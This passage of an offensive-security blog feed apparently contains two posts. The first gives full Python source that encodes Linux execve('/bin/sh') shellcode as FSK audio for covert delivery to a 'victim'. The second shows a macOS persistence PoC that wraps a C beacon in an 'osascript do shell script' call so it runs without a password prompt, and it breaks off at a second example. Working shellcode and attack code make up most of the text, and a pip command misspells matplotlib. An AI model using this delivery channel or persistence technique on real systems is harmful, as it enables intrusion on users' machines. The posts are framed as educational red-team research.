    <span class="c1"># spectrum plot setup (FFT)
</span>    <span class="n">freqs</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">fft</span><span class="p">.</span><span class="n">rfftfreq</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">,</span> <span class="n">d</span><span class="o">=</span><span class="mf">1.0</span><span class="o">/</span><span class="n">SAMPLE_RATE</span><span class="p">)</span>
    <span class="n">line_spec</span><span class="p">,</span> <span class="o">=</span> <span class="n">ax_spec</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">freqs</span><span class="p">,</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">freqs</span><span class="p">)),</span> <span class="n">color</span><span class="o">=</span><span class="s">'#ffaa00'</span><span class="p">,</span> <span class="n">lw</span><span class="o">=</span><span class="mf">1.5</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_xlim</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">4000</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_ylim</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_xlabel</span><span class="p">(</span><span class="s">'frequency (Hz)'</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_ylabel</span><span class="p">(</span><span class="s">'magnitude'</span><span class="p">)</span>
    
    <span class="n">plt</span><span class="p">.</span><span class="n">tight_layout</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">fig</span><span class="p">,</span> <span class="n">line_wave</span><span class="p">,</span> <span class="n">line_spec</span>
</code></pre></div></div>

<p>In the basic <code class="language-plaintext highlighter-rouge">transmit.py</code> version, the script pauses while the sound plays. For live visuals, we use <code class="language-plaintext highlighter-rouge">sd.play()</code> without an immediate <code class="language-plaintext highlighter-rouge">.wait()</code>. We also initialize a high-precision timer using <code class="language-plaintext highlighter-rouge">time.perf_counter()</code> to synchronize the visual “frame” with the audio “sample” currently being played by the hardware:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># start audio in background
</span><span class="n">sd</span><span class="p">.</span><span class="n">play</span><span class="p">(</span><span class="n">signal</span><span class="p">,</span> <span class="n">SAMPLE_RATE</span><span class="p">)</span>
<span class="n">t_start</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">perf_counter</span><span class="p">()</span>
<span class="n">plt</span><span class="p">.</span><span class="n">ion</span><span class="p">()</span> <span class="c1"># enable matplotlib interactive mode
</span></code></pre></div></div>

<p>Also we need implementing the sliding window. Since we cannot plot the entire shellcode at once without it looking like a solid block, we implement a sliding window. As the timer progresses, we calculate the <code class="language-plaintext highlighter-rouge">current_sample</code> and extract a small “slice” of the signal to display, keeping the playback position centered:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="n">elapsed</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">perf_counter</span><span class="p">()</span> <span class="o">-</span> <span class="n">t_start</span>
    <span class="n">current_sample</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">elapsed</span> <span class="o">*</span> <span class="n">SAMPLE_RATE</span><span class="p">)</span>
    
    <span class="k">if</span> <span class="n">current_sample</span> <span class="o">&gt;=</span> <span class="n">total_samples</span><span class="p">:</span>
        <span class="k">break</span>
        
    <span class="c1"># calculate window bounds
</span>    <span class="n">start</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">current_sample</span> <span class="o">-</span> <span class="n">WINDOW_SAMPS</span> <span class="o">//</span> <span class="mi">2</span><span class="p">)</span>
    <span class="n">end</span> <span class="o">=</span> <span class="n">start</span> <span class="o">+</span> <span class="n">WINDOW_SAMPS</span>
    <span class="n">window</span> <span class="o">=</span> <span class="n">signal</span><span class="p">[</span><span class="n">start</span><span class="p">:</span><span class="n">end</span><span class="p">]</span>
</code></pre></div></div>

<p>Finally, we update the data of our existing plot lines instead of redrawing the whole figure (which is too slow). We perform an FFT on the current window to show the “jumping” frequency peaks and refresh the canvas at a target frame rate:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># update waveform
</span><span class="n">line_wave</span><span class="p">.</span><span class="n">set_ydata</span><span class="p">(</span><span class="n">window</span><span class="p">)</span>

<span class="c1"># update spectrum via FFT
</span><span class="n">magnitude</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nb">abs</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">fft</span><span class="p">.</span><span class="n">rfft</span><span class="p">(</span><span class="n">window</span><span class="p">))</span>
<span class="k">if</span> <span class="n">magnitude</span><span class="p">.</span><span class="nb">max</span><span class="p">()</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span> 
    <span class="n">magnitude</span> <span class="o">/=</span> <span class="n">magnitude</span><span class="p">.</span><span class="nb">max</span><span class="p">()</span> <span class="c1"># normalize for consistent height
</span><span class="n">line_spec</span><span class="p">.</span><span class="n">set_ydata</span><span class="p">(</span><span class="n">magnitude</span><span class="p">)</span>

<span class="n">fig</span><span class="p">.</span><span class="n">canvas</span><span class="p">.</span><span class="n">draw_idle</span><span class="p">()</span>
<span class="n">plt</span><span class="p">.</span><span class="n">pause</span><span class="p">(</span><span class="mf">0.01</span><span class="p">)</span> <span class="c1"># small pause to allow GUI update
</span></code></pre></div></div>

<p>Full source code <code class="language-plaintext highlighter-rouge">transmit_live.py</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="s">"""
transmit_live.py
acoustic shellcode transmitter - part 1: live visualization
author: @cocomelonc
"""</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">sounddevice</span> <span class="k">as</span> <span class="n">sd</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>

<span class="c1"># protocol constants
</span><span class="n">SAMPLE_RATE</span>  <span class="o">=</span> <span class="mi">48000</span>
<span class="n">BAUD_RATE</span>    <span class="o">=</span> <span class="mi">300</span>
<span class="n">FREQ_MARK</span>    <span class="o">=</span> <span class="mi">2200</span>          <span class="c1"># bit 1 (high)
</span><span class="n">FREQ_SPACE</span>   <span class="o">=</span> <span class="mi">1200</span>          <span class="c1"># bit 0 (low)
</span><span class="n">SPB</span>          <span class="o">=</span> <span class="n">SAMPLE_RATE</span> <span class="o">//</span> <span class="n">BAUD_RATE</span> <span class="c1"># 160 samples per bit
</span>
<span class="c1"># visualization constants
</span><span class="n">WINDOW_BITS</span>  <span class="o">=</span> <span class="mi">24</span>            <span class="c1"># how many bits to show in the sliding window
</span><span class="n">WINDOW_SAMPS</span> <span class="o">=</span> <span class="n">SPB</span> <span class="o">*</span> <span class="n">WINDOW_BITS</span>
<span class="n">TARGET_FPS</span>   <span class="o">=</span> <span class="mi">30</span>            <span class="c1"># smooth animation
</span>
<span class="c1"># linux x86_64 execve("/bin/sh")
</span><span class="n">SHELLCODE</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span>
    <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> 
    <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> 
    <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x05</span>
<span class="p">])</span>

<span class="k">def</span> <span class="nf">generate_tone</span><span class="p">(</span><span class="n">bit</span><span class="p">):</span>
    <span class="s">"""generates a sine wave for a single bit."""</span>
    <span class="n">freq</span> <span class="o">=</span> <span class="n">FREQ_MARK</span> <span class="k">if</span> <span class="n">bit</span> <span class="k">else</span> <span class="n">FREQ_SPACE</span>
    <span class="n">t</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">arange</span><span class="p">(</span><span class="n">SPB</span><span class="p">)</span> <span class="o">/</span> <span class="n">SAMPLE_RATE</span>
    <span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">sin</span><span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">np</span><span class="p">.</span><span class="n">pi</span> <span class="o">*</span> <span class="n">freq</span> <span class="o">*</span> <span class="n">t</span><span class="p">).</span><span class="n">astype</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">byte_to_signal</span><span class="p">(</span><span class="n">byte</span><span class="p">):</span>
    <span class="s">"""converts a single byte into an audio signal."""</span>
    <span class="k">return</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">generate_tone</span><span class="p">((</span><span class="n">byte</span> <span class="o">&gt;&gt;</span> <span class="n">i</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">)])</span>

<span class="k">def</span> <span class="nf">build_figure</span><span class="p">():</span>
    <span class="s">"""sets up the matplotlib figure for live plotting."""</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">style</span><span class="p">.</span><span class="n">use</span><span class="p">(</span><span class="s">'dark_background'</span><span class="p">)</span>
    <span class="n">fig</span><span class="p">,</span> <span class="p">(</span><span class="n">ax_wave</span><span class="p">,</span> <span class="n">ax_spec</span><span class="p">)</span> <span class="o">=</span> <span class="n">plt</span><span class="p">.</span><span class="n">subplots</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">6</span><span class="p">))</span>
    <span class="n">fig</span><span class="p">.</span><span class="n">suptitle</span><span class="p">(</span><span class="s">'[=^..^=] live acoustic transmission'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s">'#00ff88'</span><span class="p">)</span>
    
    <span class="c1"># waveform plot setup
</span>    <span class="n">line_wave</span><span class="p">,</span> <span class="o">=</span> <span class="n">ax_wave</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">arange</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">),</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">),</span> <span class="n">color</span><span class="o">=</span><span class="s">'#00ffff'</span><span class="p">,</span> <span class="n">lw</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">ax_wave</span><span class="p">.</span><span class="n">set_ylim</span><span class="p">(</span><span class="o">-</span><span class="mf">1.2</span><span class="p">,</span> <span class="mf">1.2</span><span class="p">)</span>
    <span class="n">ax_wave</span><span class="p">.</span><span class="n">set_axis_off</span><span class="p">()</span>
    
    <span class="c1"># spectrum plot setup (FFT)
</span>    <span class="n">freqs</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">fft</span><span class="p">.</span><span class="n">rfftfreq</span><span class="p">(</span><span class="n">WINDOW_SAMPS</span><span class="p">,</span> <span class="n">d</span><span class="o">=</span><span class="mf">1.0</span><span class="o">/</span><span class="n">SAMPLE_RATE</span><span class="p">)</span>
    <span class="n">line_spec</span><span class="p">,</span> <span class="o">=</span> <span class="n">ax_spec</span><span class="p">.</span><span class="n">plot</span><span class="p">(</span><span class="n">freqs</span><span class="p">,</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">freqs</span><span class="p">)),</span> <span class="n">color</span><span class="o">=</span><span class="s">'#ffaa00'</span><span class="p">,</span> <span class="n">lw</span><span class="o">=</span><span class="mf">1.5</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_xlim</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">4000</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_ylim</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_xlabel</span><span class="p">(</span><span class="s">'frequency (Hz)'</span><span class="p">)</span>
    <span class="n">ax_spec</span><span class="p">.</span><span class="n">set_ylabel</span><span class="p">(</span><span class="s">'magnitude'</span><span class="p">)</span>
    
    <span class="n">plt</span><span class="p">.</span><span class="n">tight_layout</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">fig</span><span class="p">,</span> <span class="n">line_wave</span><span class="p">,</span> <span class="n">line_spec</span>

<span class="k">def</span> <span class="nf">transmit_live</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
    <span class="c1"># prepare the signal
</span>    <span class="n">body</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">byte_to_signal</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">payload</span><span class="p">])</span>
    <span class="n">lead</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">SAMPLE_RATE</span> <span class="o">*</span> <span class="mf">0.5</span><span class="p">),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>
    <span class="n">signal</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">concatenate</span><span class="p">([</span><span class="n">lead</span><span class="p">,</span> <span class="n">body</span><span class="p">,</span> <span class="n">lead</span><span class="p">])</span>
    <span class="n">total_samples</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">signal</span><span class="p">)</span>
    
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[=^..^=] shellcode: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[=^..^=] duration : </span><span class="si">{</span><span class="n">total_samples</span><span class="o">/</span><span class="n">SAMPLE_RATE</span><span class="si">:</span><span class="p">.</span><span class="mi">2</span><span class="n">f</span><span class="si">}</span><span class="s"> seconds"</span><span class="p">)</span>

    <span class="c1"># setup visualization
</span>    <span class="n">fig</span><span class="p">,</span> <span class="n">line_wave</span><span class="p">,</span> <span class="n">line_spec</span> <span class="o">=</span> <span class="n">build_figure</span><span class="p">()</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">ion</span><span class="p">()</span> <span class="c1"># interactive mode ON
</span>    <span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>

    <span class="c1"># start audio in background
</span>    <span class="k">print</span><span class="p">(</span><span class="s">"[=^..^=] transmitting..."</span><span class="p">)</span>
    <span class="n">sd</span><span class="p">.</span><span class="n">play</span><span class="p">(</span><span class="n">signal</span><span class="p">,</span> <span class="n">SAMPLE_RATE</span><span class="p">)</span>
    <span class="n">start_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">perf_counter</span><span class="p">()</span>

    <span class="c1"># live plot loop
</span>    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">elapsed</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">perf_counter</span><span class="p">()</span> <span class="o">-</span> <span class="n">start_time</span>
        <span class="n">current_sample</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">elapsed</span> <span class="o">*</span> <span class="n">SAMPLE_RATE</span><span class="p">)</span>
        
        <span class="k">if</span> <span class="n">current_sample</span> <span class="o">&gt;=</span> <span class="n">total_samples</span><span class="p">:</span>
            <span class="k">break</span>
            
        <span class="c1"># sliding window logic
</span>        <span class="n">start</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">current_sample</span> <span class="o">-</span> <span class="n">WINDOW_SAMPS</span> <span class="o">//</span> <span class="mi">2</span><span class="p">)</span>
        <span class="n">end</span> <span class="o">=</span> <span class="n">start</span> <span class="o">+</span> <span class="n">WINDOW_SAMPS</span>
        
        <span class="k">if</span> <span class="n">end</span> <span class="o">&gt;</span> <span class="n">total_samples</span><span class="p">:</span>
            <span class="n">end</span> <span class="o">=</span> <span class="n">total_samples</span>
            <span class="n">start</span> <span class="o">=</span> <span class="n">end</span> <span class="o">-</span> <span class="n">WINDOW_SAMPS</span>

        <span class="n">window</span> <span class="o">=</span> <span class="n">signal</span><span class="p">[</span><span class="n">start</span><span class="p">:</span><span class="n">end</span><span class="p">]</span>
        
        <span class="c1"># update waveform
</span>        <span class="n">line_wave</span><span class="p">.</span><span class="n">set_ydata</span><span class="p">(</span><span class="n">window</span><span class="p">)</span>
        
        <span class="c1"># update spectrum (FFT)
</span>        <span class="n">mag</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nb">abs</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">fft</span><span class="p">.</span><span class="n">rfft</span><span class="p">(</span><span class="n">window</span><span class="p">))</span>
        <span class="k">if</span> <span class="n">mag</span><span class="p">.</span><span class="nb">max</span><span class="p">()</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span> <span class="n">mag</span> <span class="o">/=</span> <span class="n">mag</span><span class="p">.</span><span class="nb">max</span><span class="p">()</span> <span class="c1"># normalize
</span>        <span class="n">line_spec</span><span class="p">.</span><span class="n">set_ydata</span><span class="p">(</span><span class="n">mag</span><span class="p">)</span>

        <span class="n">fig</span><span class="p">.</span><span class="n">canvas</span><span class="p">.</span><span class="n">draw_idle</span><span class="p">()</span>
        <span class="n">plt</span><span class="p">.</span><span class="n">pause</span><span class="p">(</span><span class="mi">1</span><span class="o">/</span><span class="n">TARGET_FPS</span><span class="p">)</span>

    <span class="n">sd</span><span class="p">.</span><span class="n">wait</span><span class="p">()</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">ioff</span><span class="p">()</span> <span class="c1"># interactive mode OFF
</span>    <span class="k">print</span><span class="p">(</span><span class="s">"[=^..^=] done."</span><span class="p">)</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">transmit_live</span><span class="p">(</span><span class="n">SHELLCODE</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="demo-2">demo 2</h3>

<p>Let’s see this update in action. First we need to install matploitlib:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-m</span> pip <span class="nb">install </span>matploitlib
</code></pre></div></div>

<p><img src="/assets/images/203/2026-05-26_08-30.png" alt="malware" class="img-responsive" /></p>

<p>Then, just run:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 transmit_live.py
</code></pre></div></div>

<p><img src="/assets/images/203/2026-05-26_08-14.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/203/2026-05-26_08-14_1.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/203/2026-05-26_08-15.png" alt="malware" class="img-responsive" /></p>

<h3 id="conclusion">conclusion</h3>

<p>However, a signal is useless without a “ear” to hear it. In <em>part 2</em>, we will move to the victim’s side and implement the <em><a href="https://en.wikipedia.org/wiki/Goertzel_algorithm">Goertzel Algorithm</a></em> in pure C to demodulate this sound and recover our bytes in real-time.</p>

<p><a href="https://en.wikipedia.org/wiki/Frequency-shift_keying">FSK</a>  <br />
<a href="https://en.wikipedia.org/wiki/Bell_202">Bell 202 standard</a>  <br />
<a href="https://en.wikipedia.org/wiki/Discrete_Fourier_transform">Discrete Fourier Transform (DFT)</a>   <br />
<a href="https://en.wikipedia.org/wiki/Goertzel_algorithm">Goertzel Algorithm</a>  <br />
<a href="https://github.com/cocomelonc/signal-malware-delivery-poc">source code in github</a></p>

<blockquote>
  <p>This is a practical case for educational purposes only.</p>
</blockquote>

<p>Thanks for your time happy hacking and good bye!  <br />
<em>PS. All drawings and screenshots are mine</em></p>]]></content><author><name>cocomelonc</name></author><category term="malware" /><category term="red team" /><category term="windows" /><category term="malware" /><category term="math" /><category term="physics" /><category term="signal processing" /><summary type="html"><![CDATA[﷽]]></summary></entry><entry><title type="html">MacOS malware persistence 11: osascript LOLBin. Simple C example</title><link href="https://cocomelonc.github.io/macos/2026/04/27/mac-malware-persistence-11.html" rel="alternate" type="text/html" title="MacOS malware persistence 11: osascript LOLBin. Simple C example" /><published>2026-04-27T00:00:00+00:00</published><updated>2026-04-27T00:00:00+00:00</updated><id>https://cocomelonc.github.io/macos/2026/04/27/mac-malware-persistence-11</id><content type="html" xml:base="https://cocomelonc.github.io/macos/2026/04/27/mac-malware-persistence-11.html"><![CDATA[<p>﷽</p>

<p>Hello, cybersecurity enthusiasts and white hackers!</p>

<p><img src="/assets/images/202/2026-04-30_06-24.png" alt="malware" class="img-responsive" /></p>

<p>Continuing the macOS malware persistence series. Today we look at another Apple-signed LOLBin: <strong><code class="language-plaintext highlighter-rouge">osascript</code></strong> - the command-line interpreter for AppleScript and JavaScript for Automation (JXA). Used in the wild by <a href="https://attack.mitre.org/groups/G0050">APT32</a> and malware families like OSX.Coldroot RAT, it is one of the most versatile LOLBins on macOS.</p>

<h3 id="osascript">osascript</h3>

<p><code class="language-plaintext highlighter-rouge">osascript</code> lives at <code class="language-plaintext highlighter-rouge">/usr/bin/osascript</code> and is present on every macOS including Monterey and Sonoma. Its job is to execute AppleScript or JXA scripts - but it also accepts inline expressions via the <code class="language-plaintext highlighter-rouge">-e</code> flag, which is what we exploit.</p>

<p>Check availability:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>which osascript
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-29_19-33.png" alt="malware" class="img-responsive" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-la</span> /usr/bin/osascript
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-29_19-35.png" alt="malware" class="img-responsive" /></p>

<p>Confirm Apple-signed:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-dv</span> /usr/bin/osascript 2&gt;&amp;1
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-29_19-36.png" alt="malware" class="img-responsive" /></p>

<p>The key property for us: <code class="language-plaintext highlighter-rouge">osascript -e 'do shell script "/path/to/binary"'</code> runs any executable as the current user with <strong>no password prompt</strong>. The <code class="language-plaintext highlighter-rouge">with administrator privileges</code> keyword is what triggers the dialog - without it, the command runs silently. The process tree will show <code class="language-plaintext highlighter-rouge">/usr/bin/osascript</code> as the parent of our payload.</p>

<h3 id="practical-example">practical example</h3>

<p>Simple beacon loop - same idea as the previous posts. Every 10 seconds it appends the timestamp, <code class="language-plaintext highlighter-rouge">pid</code>, <code class="language-plaintext highlighter-rouge">uid</code>, and <code class="language-plaintext highlighter-rouge">ppid</code> to <code class="language-plaintext highlighter-rouge">/tmp/meow.txt</code>. The <code class="language-plaintext highlighter-rouge">ppid</code> will be osascript’s PID, proving the LOLBin wrapping works (<code class="language-plaintext highlighter-rouge">hack.c</code>):</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * hack.c
 * osascript LOLBin persistence PoC - beacon loop
 * author: @cocomelonc
 * https://cocomelonc.github.io/macos/2026/04/27/mac-malware-persistence-11.html
 */</span>
<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">log_path</span> <span class="o">=</span> <span class="s">"/tmp/meow.txt"</span><span class="p">;</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span><span class="p">;</span>

  <span class="k">for</span> <span class="p">(;;)</span> <span class="p">{</span>
    <span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">log_path</span><span class="p">,</span> <span class="s">"a"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
      <span class="kt">time_t</span> <span class="n">now</span> <span class="o">=</span> <span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
      <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"[=^..^=] meow! osascript persistence triggered.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
      <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"timestamp: %s"</span><span class="p">,</span> <span class="n">ctime</span><span class="p">(</span><span class="o">&amp;</span><span class="n">now</span><span class="p">));</span>
      <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"pid: %d, uid: %d, ppid: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
              <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">getpid</span><span class="p">(),</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">getuid</span><span class="p">(),</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">getppid</span><span class="p">());</span>
      <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"-------------------------------------</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
      <span class="n">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">sleep</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Compile:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>clang <span class="nt">-o</span> /Users/Shared/hack hack.c
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-29_19-41.png" alt="malware" class="img-responsive" /></p>

<h3 id="demo-1-pure-osascript">demo 1: pure osascript</h3>

<p>The simplest form - wrap the binary directly in an inline osascript expression and background it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>osascript <span class="nt">-e</span> <span class="s1">'do shell script "/Users/Shared/hack"'</span> &amp;
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-29_19-44.png" alt="malware" class="img-responsive" /></p>

<p>Because <code class="language-plaintext highlighter-rouge">hack</code> loops forever, osascript stays alive waiting for it to return. No password dialog appears since we are not using <code class="language-plaintext highlighter-rouge">with administrator privileges</code>.</p>

<p>Check the process tree:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ps aux | <span class="nb">grep </span>osascript
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-29_19-45.png" alt="malware" class="img-responsive" /></p>

<p>Check the log:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /tmp/meow.txt
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-29_19-46.png" alt="malware" class="img-responsive" /></p>

<p>The <code class="language-plaintext highlighter-rouge">ppid</code> in the log matches the osascript PID from <code class="language-plaintext highlighter-rouge">ps aux</code>. =^..^=</p>

<p>As with <code class="language-plaintext highlighter-rouge">caffeinate</code> in <a href="/macos/2026/04/23/mac-malware-persistence-10.html">persistence part 10</a>, this form does not survive a logout - it is the live-session variant. For true persistence, we need example 2.</p>

<h3 id="practicale-example-2-osascript--launchagents-">practicale example 2: osascript + LaunchAgents ???</h3>

